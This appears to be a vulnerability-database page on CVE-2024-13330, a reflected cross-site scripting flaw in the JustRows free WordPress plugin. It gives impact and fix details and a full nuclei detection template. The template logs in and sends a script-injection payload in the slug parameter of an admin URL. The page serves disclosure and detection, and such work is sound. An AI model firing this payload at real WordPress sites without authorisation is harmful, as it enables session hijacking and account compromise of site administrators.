HexBrain

Browse / CVEs / CVE-2024-13330

CVE-2024-13330· canaveralstudio / justrows free· CWE-79

JustRows WordPress - Cross-Site Scripting

highseverity
7.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

JustRows free WordPress plugin v0.2 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version where the vulnerability is fixed, or implement proper sanitization and escaping of output.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=justrows-edit&slug=1"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>","justrows-free")

Run it with nuclei: nuclei -id CVE-2024-13330 -u <target>

The full check
id: CVE-2024-13330

info:
  name: JustRows WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    JustRows free WordPress plugin v0.2 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version where the vulnerability is fixed, or implement proper sanitization and escaping of output.
  reference:
    - https://wpscan.com/vulnerability/b0360650-8c7a-4e17-8618-b5ef1c71ccbf/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-13330
    cwe-id: CWE-79
    epss-score: 0.00573
    epss-percentile: 0.47661
    cpe: cpe:2.3:a:canaveralstudio:justrows_free:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: canaveralstudio
    product: justrows_free
    publicwww-query: "/plugins/justrows-free/"
  tags: cve,cve2024,canaveralstudio,justrows-free,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=justrows-edit&slug=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>","justrows-free")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from